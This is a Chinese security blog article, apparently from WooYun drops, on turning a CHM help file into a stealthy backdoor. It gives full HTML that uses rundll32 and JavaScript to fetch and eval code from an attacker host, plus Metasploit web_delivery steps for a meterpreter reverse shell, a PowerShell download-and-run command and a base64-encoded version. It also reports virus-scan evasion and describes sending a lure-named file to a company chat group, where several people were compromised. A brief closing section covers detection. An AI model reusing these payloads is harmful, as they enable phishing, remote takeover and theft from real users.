以前写过一篇关于客户端钓鱼的文章:《使用powershell Client进行有效钓鱼》中,在使用各个Client进行测试的过程当中,我的发现CHM文件是最好用的一个,可是其缺点就是会弹黑框,这样就会让被攻击者察觉。那么怎么让他不弹黑框呢?那就是本文要介绍的内容啦~javascript
在介绍怎么使用CHM来做为后门以前,首先要知道CMH是什么东西。html
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML做源文,把帮助内容以相似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并能够经过URL与Internet联系在一块儿。由于使用方便,形式多样也被采用做为电子书的格式。java
CHM的制做方法不少。有多款工具可使用,这里就不在作详细的介绍了。本次测试使用了EasyCHM来制做CHM文件,使用起来很是简单。python
新建以下目录,文件内容随意:git
打开EasyCHM,新建->浏览。选择该目录。默认文件类型:github
点击确认,便可看到预览的CHM文件:web
选择编译,便可编译成CHM文件。shell
14年的时候@ithurricanept 在twitter上发了一个demo,经过CHM运行计算器:数据库
利用代码以下:windows
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
将以上代码写入html,置于工程目录进行编译,生成CHM文件,运行此文件,弹出计算器:
有测试过nishang Out-CHM 的同窗会发现,运行生成的CHM文件的时候会看到明显的弹框。就像
某个晚上忽然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用JavaScript Backdoor。通过测试,成功实如今不弹框的状况下获取meterpreter会话,这次测试使用一个我修改过的python版 JSRat.ps1 ,地址为:MyJSRat。使用方式详见 readme。
如下为完整的测试过程:
使用交互模式的JSRat server:
python MyJSRat.py -i 192.168.1.101 -p 8080
访问 http://192.168.1.101:8080/wtf 获取攻击代码以下:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
通过屡次测试,成功将以上命令写入chm,其Html代码为:
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> This is a demo ! <br> <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
编译之后运行,能够成功获取JS交互shell:
直接执行cmd /c command 是会有黑框的,可使用run来避免显示黑框。执行run之后,输入 whoami > e:\1.txt 以后经过read 来获取回显。
这次测试获取meterpreter会话的方式是经过执行powershell命令,直接获取,当获取客户端JS 交互shell以后自动执行powershell命令,获取meterpreter会话。具体操做以下:
开启MSF web_delivery:
~ msfconsole -Lq msf > use exploit/multi/script/web_delivery msf exploit(web_delivery) > set target 2 target => 2 msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(web_delivery) > set lhost 192.168.1.101 lhost => 192.168.1.101 msf exploit(web_delivery) > set lport 6666 lport => 6666 msf exploit(web_delivery) > set SRVPORT 8081 SRVPORT => 8081 msf exploit(web_delivery) > set uripath / uripath => / msf exploit(web_delivery) > exploit [*] Exploit running as background job. msf exploit(web_delivery) > [*] Started reverse TCP handler on 192.168.1.101:6666 [*] Using URL: http://0.0.0.0:8081/ [*] Local IP: http://192.168.1.101:8081/ [*] Server started. [*] Run the following command on the target machine: powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
装有powershell的客户端执行如下命令则可获取meterpreter会话:
powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');
因为存在特殊字符,咱们能够把以上代码编码为base64格式,将如下代码存入power.txt
$n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.1.101:8081/');
执行如下命令:
cat power.txt | iconv --to-code UTF-16LE |base64
最终要执行的powershell命令为:
powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA
使用执行命令模式直接获取meterpreter会话:
python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAb
测试过程当中,从运行CHM到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话以下图:
可能不少人会问,会不会被杀,下面是virscan的查杀结果:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba
一张图说明(让我猜猜你会不会点):
注: 随便找了几个漏洞利用工具修改了文件名,并不表明原做者分享的工具备问题。
是用上述方式制做chm文件,命名为一个比较有吸引力的名字,好比在公司技术群发了一个名字为"制做免杀后门.chm"的文件,实际测试结果以下图:
成功获取多我的的meterpreter会话。
目前我还没查到什么防护的姿式,知道的小伙伴能够分享一下。最好就是提升我的安全意识,对于这类文件,多注意一下,尽可能别乱点,若是非要点,能够放到虚拟机里面。使用procexp.exe能够看到存在后门的chm文件会开启新的进程:
对于碰到这种后门,怎么溯源呢,其实也很简单,chm是能够反编译为html的。 使用windows自带的hh.exe 则可进行反编译。命令以下:
C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 为当前目录的test文件夹
执行结果以下:
这次测试就是对一些已知的攻击手法进行结合,结果是让此捆绑后门更加隐蔽,近乎“完美”,美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能形成大危害,小手法结合起来也能成大杀器。本着分享的精神将此姿式介绍,但愿小伙伴们能免受其害。
本文由evi1cg原创并首发于乌云drops